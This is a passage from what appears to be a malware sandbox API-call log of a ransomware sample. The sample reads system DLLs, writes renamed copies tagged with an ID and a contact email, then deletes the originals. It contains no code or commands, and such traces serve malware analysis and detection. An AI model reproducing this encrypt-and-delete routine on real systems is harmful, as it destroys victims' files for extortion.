shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0296.199] lstrlenW (lpString=".doc") returned 4 [0296.199] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0296.199] lstrlenW (lpString=".docx") returned 5 [0296.199] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0296.199] lstrlenW (lpString=".pdf") returned 4 [0296.199] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0296.199] lstrlenW (lpString=".xls") returned 4 [0296.199] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0296.199] lstrlenW (lpString=".xlsx") returned 5 [0296.199] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0296.199] lstrlenW (lpString=".ppt") returned 4 [0296.199] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0296.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0296.199] lstrlenW (lpString=".zip") returned 4 [0296.199] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0296.199] lstrlenW (lpString=".rar") returned 4 [0296.200] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0296.200] lstrlenW (lpString=".bz2") returned 4 [0296.200] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0296.200] lstrlenW (lpString=".7z") returned 3 [0296.200] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0296.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0296.200] lstrlenW (lpString=".dbf") returned 4 [0296.200] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0296.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0296.200] lstrlenW (lpString=".1cd") returned 4 [0296.200] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0296.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0296.200] lstrlenW (lpString=".jpg") returned 4 [0296.200] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0296.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0296.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0296.200] lstrlenW (lpString=".doc") returned 4 [0296.200] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0296.200] lstrlenW (lpString=".docx") returned 5 [0296.200] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0296.200] lstrlenW (lpString=".pdf") returned 4 [0296.200] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0296.200] lstrlenW (lpString=".xls") returned 4 [0296.200] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0296.200] lstrlenW (lpString=".xlsx") returned 5 [0296.200] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0296.200] lstrlenW (lpString=".ppt") returned 4 [0296.200] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0296.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0296.200] lstrlenW (lpString=".zip") returned 4 [0296.200] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0296.200] lstrlenW (lpString=".rar") returned 4 [0296.201] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0296.201] lstrlenW (lpString=".bz2") returned 4 [0296.201] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0296.201] lstrlenW (lpString=".7z") returned 3 [0296.201] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0296.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0296.201] lstrlenW (lpString=".dbf") returned 4 [0296.201] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0296.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0296.201] lstrlenW (lpString=".1cd") returned 4 [0296.201] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0296.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0296.201] lstrlenW (lpString=".jpg") returned 4 [0296.201] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0296.201] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0296.201] lstrlenW (lpString="VSTOLoader.dll") returned 14 [0296.201] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0296.201] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=367216) returned 1 [0296.202] CloseHandle (hObject=0x10c8) returned 1 [0296.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 0x20 [0296.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0296.202] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.202] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0296.202] GetLastError () returned 0x0 [0296.202] ReadFile (in: hFile=0x10c8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x59a70, lpOverlapped=0x0) returned 1 [0296.265] WriteFile (in: hFile=0x10a4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x59a80, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x59a80, lpOverlapped=0x0) returned 1 [0296.270] ReadFile (in: hFile=0x10c8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.271] WriteFile (in: hFile=0x10a4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0xf0, lpOverlapped=0x0) returned 1 [0296.271] SetEndOfFile (hFile=0x10a4) returned 1 [0296.271] CloseHandle (hObject=0x10a4) returned 1 [0296.271] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.271] SetEndOfFile (hFile=0x10c8) returned 1 [0296.274] CloseHandle (hObject=0x10c8) returned 1 [0296.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0296.274] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 1 [0296.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0296.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0296.274] lstrlenW (lpString=".doc") returned 4 [0296.274] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.274] lstrlenW (lpString=".docx") returned 5 [0296.275] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0296.275] lstrlenW (lpString=".pdf") returned 4 [0296.275] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.275] lstrlenW (lpString=".xls") returned 4 [0296.275] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.275] lstrlenW (lpString=".xlsx") returned 5 [0296.275] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0296.275] lstrlenW (lpString=".ppt") returned 4 [0296.275] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0296.275] lstrlenW (lpString=".zip") returned 4 [0296.275] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.275] lstrlenW (lpString=".rar") returned 4 [0296.275] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.275] lstrlenW (lpString=".bz2") returned 4 [0296.275] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.275] lstrlenW (lpString=".7z") returned 3 [0296.275] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0296.275] lstrlenW (lpString=".dbf") returned 4 [0296.275] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0296.275] lstrlenW (lpString=".1cd") returned 4 [0296.275] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0296.275] lstrlenW (lpString=".jpg") returned 4 [0296.275] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0296.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0296.275] lstrlenW (lpString=".doc") returned 4 [0296.275] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.275] lstrlenW (lpString=".docx") returned 5 [0296.275] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0296.275] lstrlenW (lpString=".pdf") returned 4 [0296.275] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.275] lstrlenW (lpString=".xls") returned 4 [0296.276] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.276] lstrlenW (lpString=".xlsx") returned 5 [0296.276] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0296.276] lstrlenW (lpString=".ppt") returned 4 [0296.276] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0296.276] lstrlenW (lpString=".zip") returned 4 [0296.276] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.276] lstrlenW (lpString=".rar") returned 4 [0296.276] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.276] lstrlenW (lpString=".bz2") returned 4 [0296.276] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.276] lstrlenW (lpString=".7z") returned 3 [0296.276] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0296.276] lstrlenW (lpString=".dbf") returned 4 [0296.276] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0296.276] lstrlenW (lpString=".1cd") returned 4 [0296.276] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0296.276] lstrlenW (lpString=".jpg") returned 4 [0296.276] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.276] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0296.276] lstrlenW (lpString="vstoee.dll") returned 10 [0296.276] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0296.277] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=168064) returned 1 [0296.277] CloseHandle (hObject=0x10c8) returned 1 [0296.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 0x20 [0296.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.277] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0296.277] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.277] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.277] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0296.327] GetLastError () returned 0x0 [0296.327] ReadFile (in: hFile=0x10c8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x29080, lpOverlapped=0x0) returned 1 [0296.481] WriteFile (in: hFile=0x10a8, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x29090, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x29090, lpOverlapped=0x0) returned 1 [0296.483] ReadFile (in: hFile=0x10c8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.483] WriteFile (in: hFile=0x10a8, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0xe8, lpOverlapped=0x0) returned 1 [0296.484] SetEndOfFile (hFile=0x10a8) returned 1 [0296.484] CloseHandle (hObject=0x10a8) returned 1 [0296.484] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.484] SetEndOfFile (hFile=0x10c8) returned 1 [0296.486] CloseHandle (hObject=0x10c8) returned 1 [0296.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0296.486] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 1 [0296.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0296.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0296.486] lstrlenW (lpString=".doc") returned 4 [0296.486] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.486] lstrlenW (lpString=".docx") returned 5 [0296.486] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0296.486] lstrlenW (lpString=".pdf") returned 4 [0296.486] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.486] lstrlenW (lpString=".xls") returned 4 [0296.486] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.486] lstrlenW (lpString=".xlsx") returned 5 [0296.486] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0296.486] lstrlenW (lpString=".ppt") returned 4 [0296.487] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0296.487] lstrlenW (lpString=".zip") returned 4 [0296.487] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.487] lstrlenW (lpString=".rar") returned 4 [0296.487] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.487] lstrlenW (lpString=".bz2") returned 4 [0296.487] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.487] lstrlenW (lpString=".7z") returned 3 [0296.487] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0296.487] lstrlenW (lpString=".dbf") returned 4 [0296.487] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0296.487] lstrlenW (lpString=".1cd") returned 4 [0296.487] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0296.487] lstrlenW (lpString=".jpg") returned 4 [0296.487] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0296.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0296.487] lstrlenW (lpString=".doc") returned 4 [0296.487] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.487] lstrlenW (lpString=".docx") returned 5 [0296.487] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0296.487] lstrlenW (lpString=".pdf") returned 4 [0296.487] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.487] lstrlenW (lpString=".xls") returned 4 [0296.487] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.487] lstrlenW (lpString=".xlsx") returned 5 [0296.487] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0296.487] lstrlenW (lpString=".ppt") returned 4 [0296.487] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0296.487] lstrlenW (lpString=".zip") returned 4 [0296.487] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.487] lstrlenW (lpString=".rar") returned 4 [0296.488] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.488] lstrlenW (lpString=".bz2") returned 4 [0296.488] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.488] lstrlenW (lpString=".7z") returned 3 [0296.488] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0296.488] lstrlenW (lpString=".dbf") returned 4 [0296.488] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0296.488] lstrlenW (lpString=".1cd") returned 4 [0296.488] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0296.488] lstrlenW (lpString=".jpg") returned 4 [0296.488] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.488] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0296.488] lstrlenW (lpString="hmmapi.dll.mui") returned 14 [0296.488] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0296.488] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=2560) returned 1 [0296.488] CloseHandle (hObject=0x10c8) returned 1 [0296.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui")) returned 0x20 [0296.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.489] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0296.489] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0296.489] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0296.489] lstrlenW (lpString=".doc") returned 4 [0296.489] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0296.489] lstrlenW (lpString=".docx") returned 5 [0296.489] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0296.489] lstrlenW (lpString=".pdf") returned 4 [0296.489] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0296.489] lstrlenW (lpString=".xls") returned 4 [0296.489] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0296.489] lstrlenW (lpString=".xlsx") returned 5 [0296.489] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0296.489] lstrlenW (lpString=".ppt") returned 4 [0296.489] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0296.489] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0296.489] lstrlenW (lpString=".zip") returned 4 [0296.489] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0296.489] lstrlenW (lpString=".rar") returned 4 [0296.489] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0296.489] lstrlenW (lpString=".bz2") returned 4 [0296.489] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0296.489] lstrlenW (lpString=".7z") returned 3 [0296.489] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0296.489] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0296.490] lstrlenW (lpString=".dbf") returned 4 [0296.490] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0296.490] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0296.490] lstrlenW (lpString=".1cd") returned 4 [0296.490] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0296.490] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0296.490] lstrlenW (lpString=".jpg") returned 4 [0296.490] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0296.490] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0296.490] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0296.490] lstrlenW (lpString=".doc") returned 4 [0296.490] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0296.490] lstrlenW (lpString=".docx") returned 5 [0296.490] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0296.490] lstrlenW (lpString=".pdf") returned 4 [0296.490] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0296.490] lstrlenW (lpString=".xls") returned 4 [0296.490] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0296.490] lstrlenW (lpString=".xlsx") returned 5 [0296.490] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0296.490] lstrlenW (lpString=".ppt") returned 4 [0296.490] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0296.490] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0296.490] lstrlenW (lpString=".zip") returned 4 [0296.490] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0296.490] lstrlenW (lpString=".rar") returned 4 [0296.490] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0296.490] lstrlenW (lpString=".bz2") returned 4 [0296.490] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0296.490] lstrlenW (lpString=".7z") returned 3 [0296.490] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0296.490] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0296.490] lstrlenW (lpString=".dbf") returned 4 [0296.491] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0296.491] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0296.491] 